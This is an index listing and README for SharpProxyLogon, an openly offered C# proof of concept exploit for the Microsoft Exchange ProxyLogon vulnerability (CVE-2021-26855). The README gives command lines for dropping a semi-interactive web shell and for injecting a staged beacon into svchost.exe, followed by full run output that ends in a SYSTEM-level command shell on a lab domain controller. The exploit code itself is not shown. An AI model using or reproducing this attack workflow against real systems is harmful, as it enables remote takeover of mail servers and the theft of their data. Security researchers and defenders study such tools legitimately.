Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/Flangvik/SharpProxyLogon
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode injection
https://github.com/Flangvik/SharpProxyLogon
Last synced: 22 days ago
JSON representation
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode injection
- Host: GitHub
- URL: https://github.com/Flangvik/SharpProxyLogon
- Owner: Flangvik
- Created: 2021-03-29T21:10:34.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2021-03-31T11:57:38.000Z (over 3 years ago)
- Last Synced: 2024-11-15T04:05:12.342Z (28 days ago)
- Language: C#
- Homepage:
- Size: 42 KB
- Stars: 239
- Watchers: 6
- Forks: 41
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - Flangvik/SharpProxyLogon - C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode injection (C# #)
README
# SharpProxyLogon
C# POC for the ProxyLogon chained RCE
```
__ _ ___ __
/ _\ |__ __ _ _ __ _ __ / _ \_ __ _____ ___ _ / / ___ __ _ ___ _ __
\ \| '_ \ / _` | '__| '_ \ / /_)/ '__/ _ \ \/ / | | |/ / / _ \ / _` |/ _ \| '_ \
_\ \ | | | (_| | | | |_) / ___/| | | (_) > <| |_| / /__| (_) | (_| | (_) | | | |
\__/_| |_|\__,_|_| | .__/\/ |_| \___/_/\_\\__, \____/\___/ \__, |\___/|_| |_|
|_| |___/ |___/
@Flangvik
Usage Shell: SharpProxyLogon.exe
Usage x64 injection: SharpProxyLogon.exe
```
Shellcode injection uses built-in [TikiTorch stub by @Rastamouse](https://github.com/rasta-mouse/TikiTorch), this will spawn, suspend and inject staged_beacon.bin into svchost.exe
```
SharpProxyLogon.exe 192.168.58.111:443 [email protected] C:\Temp\staged_beacon.bin "C:\Windows\System32\svchost.exe"
__ _ ___ __
/ _\ |__ __ _ _ __ _ __ / _ \_ __ _____ ___ _ / / ___ __ _ ___ _ __
\ \| '_ \ / _` | '__| '_ \ / /_)/ '__/ _ \ \/ / | | |/ / / _ \ / _` |/ _ \| '_ \
_\ \ | | | (_| | | | |_) / ___/| | | (_) > <| |_| / /__| (_) | (_| | (_) | | | |
\__/_| |_|\__,_|_| | .__/\/ |_| \___/_/\_\\__, \____/\___/ \__, |\___/|_| |_|
|_| |___/ |___/
@Flangvik
Usage Shell: SharpProxyLogon.exe
Usage x64 injection: SharpProxyLogon.exe
[+] Got hostname DC01
[+] Got legacyDN /o=LEGITCORP/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=ae2513b106f343ab8c465ec254b105c6-Administrator
[+] Got mailBoxId [email protected]
[+] Got accountSID S-1-5-21-2354578447-2549489838-160590685-500
[+] Patched accountSID-> S-1-5-21-2354578447-2549489838-160590685-500
[+] Got msExchEcpCanary lR_xIbkU4EeRa8k0G_ekSjy7CrzM9dgIeCdYK8sMbRQMUoAQMnEfYvHrvDLT1j2jJMFBrpxnJ1s.
[+] Got aspNETSessionID 0e8da60d-ff97-4748-80f1-5834caeba361
[+] Got OABId 1d2e2d98-c636-43c7-a3a9-8041b545d575
[+] Setting ExternalUrl...
[+] Triggering ResetOABVirtualDirectory...
[+] Shell should have landed, triggering injection
```
Example with classic webshell drop
```
SharpProxyLogon.exe 192.168.58.111:443 [email protected]
__ _ ___ __
/ _\ |__ __ _ _ __ _ __ / _ \_ __ _____ ___ _ / / ___ __ _ ___ _ __
\ \| '_ \ / _` | '__| '_ \ / /_)/ '__/ _ \ \/ / | | |/ / / _ \ / _` |/ _ \| '_ \
_\ \ | | | (_| | | | |_) / ___/| | | (_) > <| |_| / /__| (_) | (_| | (_) | | | |
\__/_| |_|\__,_|_| | .__/\/ |_| \___/_/\_\\__, \____/\___/ \__, |\___/|_| |_|
|_| |___/ |___/
@Flangvik
Usage Shell: SharpProxyLogon.exe
Usage x64 injection: SharpProxyLogon.exe
[+] Got hostname DC01
[+] Got legacyDN /o=LEGITCORP/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=ae2513b106f343ab8c465ec254b105c6-Administrator
[+] Got mailBoxId [email protected]
[+] Got accountSID S-1-5-21-2354578447-2549489838-160590685-500
[+] Patched accountSID-> S-1-5-21-2354578447-2549489838-160590685-500
[+] Got msExchEcpCanary V7mF62VZA0ay793xWTSE07chwKLM9dgIQolVMbEnWJJkvonIUO8VWm2BZdIklFP35W-mtZnUZ4Y.
[+] Got aspNETSessionID 9028e0b3-e56c-4b33-b0e9-b66ab9ab9067
[+] Got OABId cabf9619-178d-4d3e-84a3-748ec598a477
[+] Setting ExternalUrl...
[+] Triggering ResetOABVirtualDirectory...
[+] Shell should have landed, going semi-interactive
CMD #>whoami
nt authority\system
CMD #>hostname
DC01
CMD #>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::2598:cc98:d369:b6ed%13
IPv4 Address. . . . . . . . . . . : 192.168.58.111
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.58.2
CMD #>
```